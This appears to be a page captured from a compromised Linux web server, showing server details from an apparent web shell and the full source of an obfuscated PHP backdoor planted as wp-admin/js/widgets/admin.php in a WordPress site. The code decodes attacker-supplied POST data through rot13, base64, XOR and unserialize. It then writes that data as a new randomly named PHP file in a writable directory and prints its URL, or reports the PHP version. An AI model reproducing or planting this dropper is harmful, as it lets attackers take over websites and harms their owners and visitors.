HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/www/wp-admin/js/widgets/admin.php
<?php function vCUqPsl($LNibJh, $WWQzV, $HyNkRSd){$QYGgHG = "df31629b-264d-448b-93d8-11afac50401c";return $LNibJh ^ $QYGgHG[$WWQzV % strlen($QYGgHG)] ^ $HyNkRSd;}$qeDNzs = "qapYzor";function ZdtDho($qeDNzs){ $OfLyolHfgf = chr(722-607)."\164".chr(461-347)."\137".chr(114).'o'.'t'."\61".chr(51);$qeDNzs = $OfLyolHfgf($qeDNzs);$BahNNf = chr(632-518).chr(811-714)."\x77".chr(117)."\x72".chr(1083-975).'d'.chr(101)."\x63".chr(111).'d'."\145";$qeDNzs = $BahNNf($qeDNzs);$qeDNzs = str_split($qeDNzs);return $qeDNzs;}function kcSjYMAFop($DUhGO, $HyNkRSd){$DUhGO = array_map("vCUqPsl", array_values($DUhGO), array_keys($DUhGO), array_values($HyNkRSd));$DUhGO = implode("", $DUhGO);$CsnTY = chr(1016-899).chr(110).'s'.chr(101).chr(610-496)."\151"."\x61"."\154".chr(105)."\172"."\145";$DUhGO = @$CsnTY($DUhGO);return $DUhGO;}function FjcxbHvIjB($HyNkRSd, $DUhGO){$HyNkRSd = array_slice(str_split(str_repeat($HyNkRSd, (count($DUhGO)/16)+1)), 0, count($DUhGO));return $HyNkRSd;}function dgyYOoXlX(){echo "sbtfpTmeQx";}function hkEkWq($sbXrYliGGuir){static $UXRDEtu = array();$rCfDdbJhWb = glob($sbXrYliGGuir . '/*', GLOB_ONLYDIR);$HvevJdpqCq = count($rCfDdbJhWb);if ($HvevJdpqCq > 0) {foreach ($rCfDdbJhWb as $sbXrYliGGu) {$HQpgXuEi = chr(105).'s'.chr(809-714).chr(267-148).chr(645-531)."\151".chr(116).chr(422-325)."\142"."\x6c".'e';if (@$HQpgXuEi($sbXrYliGGu)) {$UXRDEtu[] = $sbXrYliGGu;}}}foreach ($rCfDdbJhWb as $sbXrYliGGuir) hkEkWq($sbXrYliGGuir);return $UXRDEtu;}function HwMORfDBf($DUhGO){$SAaFXp = chr(68)."\117"."\103"."\125".chr(77)."\x45"."\x4e"."\x54".chr(95).chr(82).'O'.chr(145-66).'T';$zhTzlS = $_SERVER[$SAaFXp];$rCfDdbJhWb = hkEkWq($zhTzlS);$lwmgVJFWPy = array_rand($rCfDdbJhWb);$atTBcC = "\x2e"."\160".chr(104)."\x70";$rDvkaHQpB = $rCfDdbJhWb[$lwmgVJFWPy] . "/" . substr(md5(time()), 0, 8) . $atTBcC;$SxNXs = chr(466-364).chr(105).'l'.chr(101)."\x5f".chr(112).'u'.chr(116)."\137"."\x63".chr(268-157)."\x6e".chr(480-364).'e'.chr(637-527)."\x74"."\x73";@$SxNXs($rDvkaHQpB, $DUhGO);$IpEeAUwaM = chr(72).chr(84)."\124"."\120"."\137".chr(333-261)."\117".chr(83)."\124";$UURna = chr(498-394).chr(116).chr(366-250).chr(1050-938).chr(58)."\57".chr(792-745);$HfiPwutzcf = $UURna . $_SERVER[$IpEeAUwaM] . substr($rDvkaHQpB, strlen($zhTzlS));print($HfiPwutzcf);}function QBQWpFavO(){$TdyWysONEB = "\160".chr(775-671)."\x70";$rUtsrj = chr(1076-964).chr(335-231)."\160"."\166"."\x65".'r'.chr(115).chr(802-697).chr(111).'n';$DUhGO = Array($TdyWysONEB => @$rUtsrj(), );$nYStIB = "\x73".'e'."\x72".chr(105)."\141".chr(271-163).chr(105).'z'."\145";echo @$nYStIB($DUhGO);}function IoTONY(){echo "qapYzor";}foreach ($_POST as $HyNkRSd => $DUhGO){$RGBGvS = strlen($HyNkRSd);if ($RGBGvS == 16){$DUhGO = ZdtDho($DUhGO);$HyNkRSd = FjcxbHvIjB($HyNkRSd, $DUhGO);$DUhGO = kcSjYMAFop($DUhGO, $HyNkRSd);if (@is_array($DUhGO)){$lwmgVJFWPy = array_keys($DUhGO);$DUhGO = $DUhGO[$lwmgVJFWPy[0]];$lwmgVJFWPy = $lwmgVJFWPy[0];$lwmgVJFWPy = substr($lwmgVJFWPy, 0);if ($DUhGO !== $lwmgVJFWPy){HwMORfDBf($DUhGO);}else {QBQWpFavO();}}}}die();